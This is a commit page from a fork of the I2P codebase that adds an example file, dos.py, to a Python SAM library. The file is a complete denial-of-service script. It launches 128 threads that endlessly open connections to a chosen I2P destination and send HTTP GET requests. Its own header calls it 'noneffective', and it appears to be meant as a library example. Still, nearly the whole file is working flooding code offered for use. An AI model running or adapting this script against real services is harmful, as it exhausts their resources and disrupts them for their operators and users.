forked from I2P_Developers/i2p.i2p
initial import of Connelly's public domain I2P python lib
This commit is contained in:
33
apps/sam/python/src/examples/dos.py
Normal file
33
apps/sam/python/src/examples/dos.py
Normal file
@@ -0,0 +1,33 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# dos.py: Noneffective denial of service tool
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
import threading, sys
|
||||
|
||||
def dos_stream(dest):
|
||||
"""Perform a DOS attack on a stream server."""
|
||||
dest = sam.resolve(dest)
|
||||
|
||||
# DOS code, runs in n separate threads.
|
||||
def f():
|
||||
while True:
|
||||
S = sam.socket(dest, sam.SOCK_STREAM)
|
||||
S.connect(dest)
|
||||
S.send('GET / HTTP/1.0\r\n\r\n')
|
||||
S.close()
|
||||
|
||||
# Start up the threads.
|
||||
for i in range(128):
|
||||
T = threading.Thread(target=f)
|
||||
T.start()
|
||||
|
||||
def syntax():
|
||||
print "Usage: python dos.py Destination"
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) == 2:
|
||||
dos_stream(sys.argv[1])
|
||||
else:
|
||||
syntax()
|
||||
Reference in New Issue
Block a user